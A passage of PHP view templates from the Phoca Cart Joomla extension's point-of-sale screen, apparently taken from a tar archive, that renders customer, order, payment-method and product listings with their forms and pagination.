echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
if ((int)$this->t['user']->id == (int)$v->id) {
echo '<button
class="'.$this->s['c']['btn.btn-danger'].'
editMainContent">'.JText::_('COM_PHOCACART_DESELECT').'</button>';
} else {
echo '<button
class="'.$this->s['c']['btn.btn-success'].'
editMainContent">'.JText::_('COM_PHOCACART_SELECT').'</button>';
}
echo '</form>';
echo '</div>';// end row item
echo '</div>';// end row
}
} else {
echo '<div
class="ph-pos-no-items">'.JText::_('COM_PHOCACART_NO_CUSTOMER_FOUND').'</div>';
}
//echo $this->loadTemplate('pagination');
echo '<form
action="'.$this->t['action'].'"
method="post" name="adminForm"
id="phPosPaginationBox">'. "\n";
if (!empty($this->items)) {
echo '<div
class="'.$this->s['c']['row'].'
ph-pagination">';
//if ($this->p->get('show_pagination')) {
$col = 12;
//if ($this->p->get('display_item_ordering')) {
$col = 7;
echo '<div
class="'.$this->s['c']["col.xs12.sm{$col}.md{$col}"].'
ph-center-pagination">';
echo JText::_('COM_PHOCACART_ORDER_FRONT')
.': '. str_replace(
'class="inputbox"',
'class="'.$this->s['c']['inputbox'].'
'.$this->s['c']['form-control'].'
chosen-select" style="width: 16em"',
$this->t['ordering']);
echo '</div>';
//}
//if ($this->p->get('show_pagination_limit')) {
$col = 5;
echo '<div
class="'.$this->s['c']["col.xs12.sm{$col}.md{$col}"].'
ph-center-pagination">';
echo JText::_('COM_PHOCACART_DISPLAY_NUM')
.': ' . str_replace(
'class="inputbox"',
'class="'.$this->s['c']['inputbox'].'
'.$this->s['c']['form-control'].'
chosen-select"',
$this->t['pagination']->getLimitBox(1));
echo '</div>';
//}
echo '<div class="ph-cb"></div>';
echo '<div class="col-xs-12 col-sm-12 col-md-12
ph-center-pagination pagination phPaginationBox">'.
str_replace( 'class="inputbox"',
'class="'.$this->s['c']['inputbox'].'
'.$this->s['c']['form-control'].'
chosen-select"',
$this->t['pagination']->getPagesLinks()) .
'</div>';
echo '<div class="ph-cb"></div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'
ph-center-pagination ph-pagination-mt pagination">';
echo str_replace( 'class="inputbox"',
'class="'.$this->s['c']['inputbox'].'
'.$this->s['c']['form-control'].'
chosen-select"',
$this->t['pagination']->getPagesCounter());
echo '</div>';
echo '<div class="ph-cb"></div>';
//}
echo '</div>';
}
//if ($this->p->get('ajax_pagination_category', 0) == 1) {
echo '<input type="hidden" name="format"
value="raw" />';
echo '<input type="hidden" name="page"
value="'.$this->t['page'].'" />';
echo '<input type="hidden" name="ticketid"
value="'.$this->t['ticket']->id.'"
/>';
echo '<input type="hidden" name="unitid"
value="'.$this->t['unit']->id.'"
/>';
echo '<input type="hidden" name="sectionid"
value="'.$this->t['section']->id.'"
/>';
echo '<input type="hidden" name="date"
value="'.$this->state->get('date').'"
/>';
//}
echo Joomla\CMS\HTML\HTMLHelper::_( 'form.token' );
echo '</form>';
?>
pos/tmpl/default_main_content_order.php000064400000005124151165727060014423
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$price = $this->t['price'];
$order = new PhocacartOrderRender();
$view = '<a href="#" data-type="1"
data-order="'.(int)$this->t['id'].'"
class="'.$this->s['c']['btn.btn-default.btn-sm'].'
ph-btn phOrderPrintBtn" role="button"><span
title="'.JText::_('COM_PHOCACART_VIEW_ORDER').'"
class="'.$this->s['i']['order'].'
ph-icon-success"></span></a>';
$view .= ' <a href="#" data-type="4"
data-order="'.(int)$this->t['id'].'"
class="'.$this->s['c']['btn.btn-default.btn-sm'].'
ph-btn phOrderPrintBtn" role="button"><span
title="'.JText::_('COM_PHOCACART_VIEW_RECEIPT').'"
class="'.$this->s['i']['receipt'].'
ph-icon-success"></span></a>';
$view .= ' <a href="#" data-type="2"
data-order="'.(int)$this->t['id'].'"
class="'.$this->s['c']['btn.btn-default.btn-sm'].'
ph-btn phOrderPrintBtn" role="button"><span
title="'.JText::_('COM_PHOCACART_VIEW_INVOICE').'"
class="'.$this->s['i']['invoice'].'
ph-icon-danger"></span></a>';
$view .= ' <a href="#" data-type="3"
data-order="'.(int)$this->t['id'].'"
class="'.$this->s['c']['btn.btn-default.btn-sm'].'
ph-btn phOrderPrintBtn" role="button"><span
title="'.JText::_('COM_PHOCACART_VIEW_DELIVERY_NOTE').'"
class="'.$this->s['i']['del-note'].'"></span></a>';
$view .= ' <a href="#" data-type="-1"
data-order="'.(int)$this->t['id'].'"
class="'.$this->s['c']['btn.btn-default.btn-sm'].'
ph-btn phOrderPrintBtn" role="button"><span
title="'.JText::_('COM_PHOCACART_PRINT').'"
class="'.$this->s['i']['print'].'"></span></a>';
// Default document displayed at start
$o = $order->render($this->t['id'], 4, 'raw');
echo '<div class="ph-pos-order-box">';
echo '<div class="ph-pos-order-print-box">'.
$view.' </div>';
echo '<div class="ph-cb"></div>';
// class is used for CSS
// data-type and data order for selecting currently displayed document to
print (SERVER PRINT)
echo '<div id="phPosOrderPrintBox"
class="phType4" data-type="4"
data-order="'.(int)$this->t['id'].'">';
$o = str_replace("\n", '', $o);// produce html output
in PRE and CODE tag without new rows ("\n");
echo '<div
class="phPrintInBox">'.$o.'</div>';//
--> components\com_phocacart\views\order\view.raw.php
echo '</div>';
echo '</div>';// end ph-pos-order-box
// Pagination variables only
$this->items = false;
echo $this->loadTemplate('pagination');
?>
pos/tmpl/default_main_content_orders.php000064400000012321151165727070014604
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$price = $this->t['price'];
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_ORDERS_SALES').'</div>';
if (!empty($this->items)) {
echo '<div
class="'.$this->s['c']['row'].'
ph-pos-customer-row-header">';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm2.md2'].'">'.JText::_('COM_PHOCACART_ORDER').'</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm1.md1'].'">'.JText::_('COM_PHOCACART_VENDOR').'</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm1.md1'].'">'.JText::_('COM_PHOCACART_TOTAL').'</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm1.md1'].'">'.JText::_('COM_PHOCACART_CUSTOMER').'</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm2.md2'].'">'.JText::_('COM_PHOCACART_DATE').'</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm1.md1'].'">'.JText::_('COM_PHOCACART_SECTION').'</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm1.md1'].'">'.JText::_('COM_PHOCACART_UNIT').'</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm1.md1'].'">'.JText::_('COM_PHOCACART_TICKET').'</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm2.md2'].'"></div>';
echo '</div>';
foreach ($this->items as $v) {
$orderNumber = isset($v->order_number) && $v->order_number
!= '' ? $v->order_number : false;
echo '<div
class="'.$this->s['c']['row'].'
ph-pos-customer-row">';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm2.md2'].'">';
echo '<div
class="ph-pos-customer-name">'.PhocacartOrder::getOrderNumber($v->id,
$v->date, $orderNumber).'</div>';
echo '</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm1.md1'].'">';
echo '<div
class="ph-pos-vendor-name">'.$v->vendor_title.'</div>';
echo '</div>';
$price->setCurrency($v->currency_id, $v->id);
$amount = (isset($v->total_amount_currency) &&
$v->total_amount_currency > 0) ?
$price->getPriceFormat($v->total_amount_currency, 0, 1) :
$price->getPriceFormat($v->total_amount);
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm1.md1'].'">';
echo '<div
class="ph-pos-total">'.$amount.'</div>';
echo '</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm1.md1'].'">';
echo '<div
class="ph-pos-customer-name">'.$v->user_title.'</div>';
echo '</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm2.md2'].'">';
echo '<div
class="ph-pos-customer-name">'.JHtml::date($v->date,
'DATE_FORMAT_LC6').'</div>';
echo '</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm1.md1'].'">';
echo '<div class="ph-pos-section-name">';
$title = $v->section_id;
if (isset($v->section_title)) {
$title = $v->section_title;
}
echo '<span class="label
label-primary">'.$title.'</span>';
echo '</div>';
echo '</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm1.md1'].'">';
echo '<div class="ph-pos-unit-name">';
$title = $v->unit_id;
if (isset($v->unit_title)) {
$title = $v->unit_title;
}
echo '<span class="label label-info badge
badge-info">'.$title.'</span>';
echo '</div>';
echo '</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm1.md1'].'">';
echo '<div class="ph-pos-ticket-name">';
echo '<span class="label label-warning badge
badge-warning">'.$v->ticket_id.'</span>';
echo '</div>';
echo '</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm2.md2'].'
ph-pos-customer-action">';
echo '<form
class="'.$this->s['c']['form-inline'].'"
action="'.$this->t['linkpos'].'"
method="post">';
echo '<input type="hidden" name="page"
value="main.content.order">';
echo '<input type="hidden" name="id"
value="'.(int)$v->id.'">';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="ticketid"
value="'.(int)$this->t['ticket']->id.'"
/>';
echo '<input type="hidden" name="unitid"
value="'.(int)$this->t['unit']->id.'"
/>';
echo '<input type="hidden" name="sectionid"
value="'.(int)$this->t['section']->id.'"
/>';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '<button
class="'.$this->s['c']['btn.btn-success'].'
loadMainContent">'.JText::_('COM_PHOCACART_VIEW').'</button>';
echo '</form>';
echo '</div>';
echo '</div>';// end row
}
} else {
echo '<div
class="ph-pos-no-items">'.JText::_('COM_PHOCACART_NO_ORDER_SALE_FOUND_FOR_SELECTED_DATE').'</div>';
}
echo $this->loadTemplate('pagination');
?>
pos/tmpl/default_main_content_payment.php000064400000007031151165727070014765
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$price = new PhocacartPrice();
echo '<div class="ph-pos-payment-box">';
echo '<div
class="'.$this->s['c']['row'].'
row-vac">';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm3.md3'].'">';
echo '</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm3.md3'].'">';
echo '<div class="ph-pos-payment-item-txt">' .
JText::_('COM_PHOCACART_TOTAL_TO_PAY') .
'</div>';
echo '</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm3.md3'].'">';
//$totalAmount = 0;
if ($this->t['total'][0]['brutto_currency'] !== 0)
{
echo '<div class="ph-pos-total-to-pay
ph-right">' .
$price->getPriceFormat($this->t['total'][0]['brutto_currency'],
0, 1).'</div>';
//$totalAmount =
$this->t['total'][0]['brutto_currency'];
} else if ($this->t['total'][0]['brutto'] !== 0) {
echo '<div class="ph-pos-total-to-pay
ph-right">' .
$price->getPriceFormat($this->t['total'][0]['brutto']).'</div>';
//$totalAmount = $this->t['total'][0]['brutto'];
}
echo '</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm3.md3'].'">';
echo '</div>';
echo '</div>'; // end row-vac
echo '<form class="form-inline"
action="'.$this->t['action'].'"
method="post">';
// PLUGIN
$output = '';
$payment = $this->cart->getPaymentMethod();
//$dispatcher = J EventDispatcher::getInstance();
JPluginHelper::importPlugin('pcp',
htmlspecialchars(strip_tags($payment['method'])));
$eventData = array();
$eventData['pluginname'] =
htmlspecialchars(strip_tags($payment['method']));
\JFactory::getApplication()->triggerEvent('PCPonDisplayPaymentPos',
array(&$output, $this->t, $eventData));
echo $output;
// END PLUGIN
echo '<div
class="'.$this->s['c']['row'].'
row-vac">';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm3.md3'].'">';
echo '</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm6.md6'].'
ph-pos-payment-confirm-box">';
echo '<input type="hidden" name="task"
value="pos.order">';
echo '<input type="hidden" name="page"
value="main.content.payment">';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="ticketid"
value="'.(int)$this->t['ticket']->id.'"
/>';
echo '<input type="hidden" name="unitid"
value="'.(int)$this->t['unit']->id.'"
/>';
echo '<input type="hidden" name="sectionid"
value="'.(int)$this->t['section']->id.'"
/>';
echo '<input type="hidden"
name="redirectsuccess" value="main.content.order"
/>';
echo '<input type="hidden" name="redirecterror"
value="main.content.payment" />';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '<button
class="'.$this->s['c']['btn.btn-success.btn-lg'].'
btn-extra-lg
editMainContent">'.JText::_('COM_PHOCACART_CONFIRM').'</button>';
echo '</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm3.md3'].'">';
echo '</div>';
echo '</div>';// end row-vac
echo '</form>';
echo '</div>';// end ph-pos-payment-box
// Pagination variables only
$this->items = false;
echo $this->loadTemplate('pagination');
?>
pos/tmpl/default_main_content_payment_methods.php000064400000012711151165727070016511
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$price = $this->t['price'];
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_PAYMENT_METHODS').'</div>';
echo '<div
class="ph-checkout-payment-cost-box">';
if (!empty($this->t['paymentmethods'])) {
foreach($this->t['paymentmethods'] as $k => $v) {
echo '<div
class="'.$this->s['c']['row'].'
ph-pos-payment-method-row">';
//echo '<form
action="'.$this->t['linkpos'].'"
method="post" class="form-horizontal form-validate"
role="form" id="phPosPaginationBox">';
echo '<form
action="'.$this->t['linkpos'].'"
method="post"
class="'.$this->s['c']['form-horizontal.form-validate'].'"
role="form">';
$checked = '';
if (isset($v->selected) && $v->selected == 1 ) {
$checked = 'checked="checked"';
}
$priceI = $price->getPriceItemsPayment($v->cost,
$v->cost_additional, $v->calculation_type,
$this->t['total'][0], $v->taxid, $v->taxrate,
$v->taxcalculationtype, $v->taxtitle, 0, 1);
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm5.md5'].'">';
if ($v->image != '') {
echo '<span class="ph-payment-image"><img
src="'.JURI::base(true) .'/'. $v->image.'"
alt="'.htmlspecialchars(strip_tags($v->title)).'"
/></span>';
}
echo '<span
class="ph-payment-title">'.$v->title.'</span>';
if ($this->t['display_payment_desc'] &&
$v->description != '') {
echo '<div
class="ph-checkout-payment-desc">'.Joomla\CMS\HTML\HTMLHelper::_('content.prepare',
$v->description).'</div>';
}
echo '</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm4.md4'].'"><div
class="radio">';
if ($this->t['zero_payment_price'] == 0 &&
$priceI['zero'] == 1) {
// Display blank price field
} else if ($this->t['zero_payment_price'] == 2 &&
$priceI['zero'] == 1) {
// Display free text
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'"></div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-checkout-payment-tax">'.JText::_('COM_PHOCACART_FREE').'</div>';
} else {
if ($priceI['nettoformat'] ==
$priceI['bruttoformat']) {
} else if ($priceI['nettoformat'] != '') {
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'">'.$priceI['nettotxt'].'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-checkout-payment-netto">'.$priceI['nettoformat'].'</div>';
}
if ($priceI['taxformat'] != '') {
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'">'.$priceI['taxtxt'].'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-checkout-payment-tax">'.$priceI['taxformat'].'</div>';
}
if ($priceI['bruttoformat'] != '') {
echo '<div
class="'.$this->s['c']['col.xs12.sm8.md8'].'">'.$priceI['bruttotxt'].'</div>';
echo '<div
class="'.$this->s['c']['col.xs12.sm4.md4'].'
ph-checkout-payment-brutto">'.$priceI['bruttoformat'].'</div>';
}
}
echo '</div></div>';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm3.md3'].'
ph-pos-customer-action">';
if ((int)$this->t['paymentid'] == (int)$v->id) {
echo '<button
class="'.$this->s['c']['btn.btn-danger'].'
editMainContent">'.JText::_('COM_PHOCACART_DESELECT').'</button>';
echo '<input type="hidden" name="id"
value="0" />';
} else {
echo '<button
class="'.$this->s['c']['btn.btn-success'].'
editMainContent">'.JText::_('COM_PHOCACART_SELECT').'</button>';
echo '<input type="hidden" name="id"
value="'.(int)$v->id.'" />';
}
echo '</div>';
echo '<input type="hidden" name="task"
value="pos.savepayment" />'. "\n";
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />'. "\n";
echo '<input type="hidden"
name="redirectsuccess" value="main.content.products"
/>';
echo '<input type="hidden"
name="redirecterror"
value="main.content.paymentmethods" />';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '<div class="ph-cb"></div>';
echo '<div class="ph-pos-coupon-reward-box">';
// COUPON CODE
if ($this->t['enable_coupons'] > 0) {
//echo '<div class="col-sm-12 col-md-12 ">';
echo
'<label>'.JText::_('COM_PHOCACART_COUPON_CODE').
'
<small>('.JText::_('COM_PHOCACART_APPLY_COUPON_CODE').')</small><br
/><input type="text" name="phcoupon"
id="phcoupon"
value="'.$this->t['couponcodevalue'].'"
autocomplete="off"></label>';
//echo '</div><div
class="ph-cb"></div>';
}
// REWARD POINTS
if ($this->t['rewards']['apply']) {
//echo '<div class="col-sm-12 col-md-12 ">';
echo
'<label>'.JText::_('COM_PHOCACART_REWARD_POINTS').'
'.$this->t['rewards']['text'].'<br
/><input type="text" name="phreward"
id="phreward"
value="'.$this->t['rewards']['usedvalue'].'"
autocomplete="off"></label>';
//echo '</div><div
class="ph-cb"></div>';
}
echo '</div>';
echo '</form>'. "\n";
echo '</div>';
echo '<div class="ph-cb
ph-pos-hr-sub"></div>';
}
} else {
echo '<div
class="ph-pos-no-items">'.JText::_('COM_PHOCACART_NO_PAYMENT_METHOD_FOUND').'</div>';
}
echo '</div>';// end payment cost box
// Pagination variables only
$this->items = false;
echo $this->loadTemplate('pagination');
?>
pos/tmpl/default_main_content_products.php000064400000025403151165727070015156
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
$layoutA = new JLayoutFile('button_add_to_cart_list', null,
array('component' => 'com_phocacart'));
$layoutP = new JLayoutFile('product_price', null,
array('component' => 'com_phocacart'));
$layoutI = new JLayoutFile('product_image', null,
array('component' => 'com_phocacart'));
$layoutAB = new JLayoutFile('attribute_options_box', null,
array('component' => 'com_phocacart'));
$layoutPFS = new JLayoutFile('form_part_start_add_to_cart_list',
null, array('component' => 'com_phocacart'));
$layoutPFE = new JLayoutFile('form_part_end', null,
array('component' => 'com_phocacart'));
$layoutBSH = new JLayoutFile('button_submit_hidden', null,
array('component' => 'com_phocacart'));
$layoutS = new JLayoutFile('product_stock', null,
array('component' => 'com_phocacart'));
$layoutPOQ = new JLayoutFile('product_order_quantity', null,
array('component' => 'com_phocacart'));
// ITEMS
if (!empty($this->items)) {
$price = new PhocacartPrice;
$col =
PhocacartRenderFront::getColumnClass($this->t['columns_pos']);
$lt = $this->t['pos_hide_attributes'] == 0 ?
'grid' : 'fullbutton grid';
$i = 1; // Not equal Heights
echo '<div id="phItems" class="ph-items
'.$lt.'">';
echo '<div
class="'.$this->s['c']['row.row-flex'].'
'.$lt.'">';
foreach ($this->items as $v) {
// DIFF CATEGORY / ITEMS
//$this->t['categoryid'] = (int)$v->catid;
//$label = PhocacartRenderFront::getLabel($v->date, $v->sales,
$v->featured);
$link = JRoute::_(PhocacartRoute::getItemRoute($v->id, $v->catid,
$v->alias, $v->catalias));
// Image data
$attributesOptions = $this->t['pos_hide_attributes'] == 0 ?
PhocacartAttribute::getAttributesAndOptions((int)$v->id) : array();
if (!isset($v->additional_image)) { $v->additional_image =
'';}
$image = PhocacartImage::getImageDisplay($v->image,
$v->additional_image, $this->t['pathitem'],
$this->t['switch_image_category_items'],
$this->t['image_width_cat'],
$this->t['image_height_cat'], '', $lt,
$attributesOptions);
if (!isset($image['image']->rel) ||
(isset($image['image']->rel) &&
$image['image']->rel == '')) {
$image['image']->rel =
'media/com_phocacart/images/no-image.png';
$image['image']->abs = JPATH_ROOT .
'/media/com_phocacart/images/no-image.png';
$image['default']->rel =
$image['image']->rel;
$image['default']->abs =
$image['image']->abs;
}
// :L: IMAGE
$dI = array();
if (isset($image['image']->rel) &&
$image['image']->rel != '') {
$dI['t'] = $this->t;
$dI['s'] = $this->s;
$dI['product_id'] = (int)$v->id;
$dI['layouttype'] = $lt;
$dI['image'] = $image;
$dI['title'] = $v->title;
$dI['typeview'] = 'Pos';
}
// :L: PRICE
$dP = array();
if ($this->t['can_display_price']) {
$dP['s'] = $this->s;
$dP['type'] = $v->type;// PRODUCTTYPE
$dP['priceitems'] = $price->getPriceItems($v->price,
$v->taxid, $v->taxrate, $v->taxcalculationtype, $v->taxtitle,
$v->unit_amount, $v->unit_unit, 1, 1, $v->group_price);
$price->getPriceItemsChangedByAttributes($dP['priceitems'],
$attributesOptions, $price, $v);
$dP['priceitemsorig']= array();
if ($v->price_original != '' &&
$v->price_original > 0) {
$dP['priceitemsorig'] =
$price->getPriceItems($v->price_original, $v->taxid,
$v->taxrate, $v->taxcalculationtype);
}
//$dP['class'] = 'ph-category-price-box '.$lt;
$dP['class'] = 'ph-category-price-box';// Cannot be
dynamic as can change per ajax - this can cause jumping of boxes
$dP['product_id'] = (int)$v->id;
$dP['typeview'] = 'Pos';
// Display discount price
// Move standard prices to new variable (product price -> product
discount)
$dP['priceitemsdiscount'] = $dP['priceitems'];
$dP['discount'] =
PhocacartDiscountProduct::getProductDiscountPrice($v->id,
$dP['priceitemsdiscount']);
// Display cart discount (global discount) in product views - under
specific conditions only
// Move product discount prices to new variable (product price ->
product discount -> product discount cart)
$dP['priceitemsdiscountcart'] =
$dP['priceitemsdiscount'];
$dP['discountcart'] =
PhocacartDiscountCart::getCartDiscountPriceForProduct($v->id,
$v->catid, $dP['priceitemsdiscountcart']);
$dP['zero_price'] = 1;// Apply zero price if possible
}
// :L: ADD TO CART
$dA = $dA2 = $dA3 = $dAb = $dF = array();
$icon['addtocart'] = '';
// STOCK ===================================================
// Set stock: product, variations, or advanced stock status
$dSO = '';
$dA['class_btn'] = '';
$dA['class_icon'] = '';
$dA['s'] = $this->s;
if ($this->t['pos_display_stock_status'] == 1) {
$stockStatus = array();
$stock =
PhocacartStock::getStockItemsChangedByAttributes($stockStatus,
$attributesOptions, $v);
if ($this->t['hide_add_to_cart_stock'] == 1 &&
(int)$stock < 1) {
$dA['class_btn'] = 'ph-visibility-hidden';// hide
button
$dA['class_icon'] = 'ph-display-none';// hide
icon
}
if($stockStatus['stock_status'] ||
$stockStatus['stock_count'] !== false) {
$dS = array();
$dS['s'] = $this->s;
$dS['class'] = 'ph-item-stock-box';
$dS['product_id'] = (int)$v->id;
$dS['typeview'] = 'Pos';
$dS['stock_status_output'] =
PhocacartStock::getStockStatusOutput($stockStatus);
$dSO = $layoutS->render($dS);
}
if($stockStatus['min_quantity']) {
$dPOQ = array();
$dPOQ['s'] = $this->s;
$dPOQ['text'] =
JText::_('COM_PHOCACART_MINIMUM_ORDER_QUANTITY');
$dPOQ['status'] = $stockStatus['min_quantity'];
$dSO .= $layoutPOQ->render($dPOQ);
}
if($stockStatus['min_multiple_quantity']) {
$dPOQ = array();
$dPOQ['s'] = $this->s;
$dPOQ['text'] =
JText::_('COM_PHOCACART_MINIMUM_MULTIPLE_ORDER_QUANTITY');
$dPOQ['status'] =
$stockStatus['min_multiple_quantity'];
$dSO .= $layoutPOQ->render($dPOQ);
}
}
// END STOCK ================================================
// ------------------------------------
// BUTTONS + ICONS
// ------------------------------------
// Prepare data for Add to cart button
// - Add To Cart Standard Button
// - Add to Cart Icon Button
// - Add to Cart Icon Only
// FORM DATA
$dF['s'] = $this->s;
$dF['linkch'] = $this->t['linkcheckout'];//
link to checkout (add to cart)
$dF['id'] = (int)$v->id;
$dF['catid'] = (int)$v->catid;
$dF['ticketid'] = $this->t['ticket']->id;
$dF['unitid'] = $this->t['unit']->id;
$dF['sectionid'] = $this->t['section']->id;
$dF['return'] = $this->t['actionbase64'];
$dF['typeview'] = 'Pos';
$dA['addtocart'] =
$this->t['category_addtocart'];
$dA['addtocart_icon'] =
$this->t['display_addtocart_icon'];
// Both buttons + icon
$dA['id'] = (int)$v->id;
$dA['link'] = $link;// link to item (product) view e.g.
when there are required attributes - we cannot add it to cart
$dA['addtocart'] = 1;// POS has no external, quick view, icon
only, etc - just use standard -
$this->t['category_addtocart'];
$dA['method'] = $this->t['add_cart_method'];
$dA['typeview'] = 'Pos';
// ATTRIBUTES, OPTIONS
$dAb['s'] = $this->s;
$dAb['attr_options'] = $attributesOptions;
$dAb['hide_attributes'] =
$this->t['pos_hide_attributes'];
$dAb['dynamic_change_image'] =
$this->t['dynamic_change_image'];
$dAb['zero_attribute_price'] =
$this->t['zero_attribute_price'];
$dAb['pathitem'] = $this->t['pathitem'];
$dAb['product_id'] = (int)$v->id;
$dAb['image_size'] = $image['size'];
$dAb['typeview'] = 'Pos';
$dAb['price'] = $price;
// Attribute is required and we don't display it in category/items
view, so we need to redirect to detail view
// NOT IN POS
$dA['selectoptions'] = 0;
/*if (isset($v->attribute_required) &&
$v->attribute_required == 1 &&
$this->t['pos_hide_attributes'] == 1) {
$dA['selectoptions'] = 1;
}*/
// ======
// RENDER
// ======
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']["col.xs12.sm{$col}.md{$col}"].'">';
echo '<div class="ph-item-box
'.$lt.'">';
//echo '<div
class="ph-label-box">'.$label['new'] .
$label['hot'] .
$label['feat'].'</div>';
echo '<div
class="'.$this->t['class_thumbnail'].'
ph-thumbnail ph-thumbnail-c ph-item '.$lt.'">';
echo '<div class="ph-item-content
'.$lt.'">';
// -----------
// RENDER GRID
// -----------
echo '<div
class="'.$this->s['c']['cat_item_grid'].'">';
// :L: IMAGE
// echo '<a href="'.$link.'">';
if (!empty($dI)) { echo $layoutI->render($dI);}
// echo '</a>';
echo '</div>';
echo '<div class="ph-item-clearfix
'.$lt.'"></div>';
// CAPTION, DESCRIPTION BOX
//echo '<div class="ph-caption
'.$lt.'">';
echo
PhocacartRenderFront::renderProductHeader($this->t['product_name_link'],
$v, 'item', '', $lt);
//echo '</div>';// end caption
// :L: PRICE
if (!empty($dP)) { echo $layoutP->render($dP);}
// VIEW PRODUCT BUTTON
echo '<div class="ph-category-add-to-cart-box
'.$lt.'">';
// :L: Stock status
if (!empty($dSO)) { echo $dSO;}
// Start Form
if (!empty($dF)) { echo $layoutPFS->render($dF);}
// :L: ATTRIBUTES AND OPTIONS
if (!empty($dAb)) { echo $layoutAB->render($dAb);}
// :L: ADD TO CART
if (!empty($dA)) { echo $layoutA->render($dA);} else if
($icon['addtocart'] != '') { echo
$layoutBSH->render();}
// End Form
if (!empty($dF)) { echo $layoutPFE->render();}
echo '</div>';// end add to cart box
// --------------- END RENDER
echo '<div class="ph-cb"></div>';
echo '</div>';// end ph-item-content
echo '</div>';// end thumbnail ph-item
echo '</div>';// end ph-item-box
echo '</div>'. "\n"; // end row item - columns
if ($i%(int)$this->t['columns_pos'] == 0) {
echo '<div class="ph-cb"></div>';
}
$i++;
}
echo '</div>';// end row (row-flex)
echo '<div class="pb-cb"></div>';
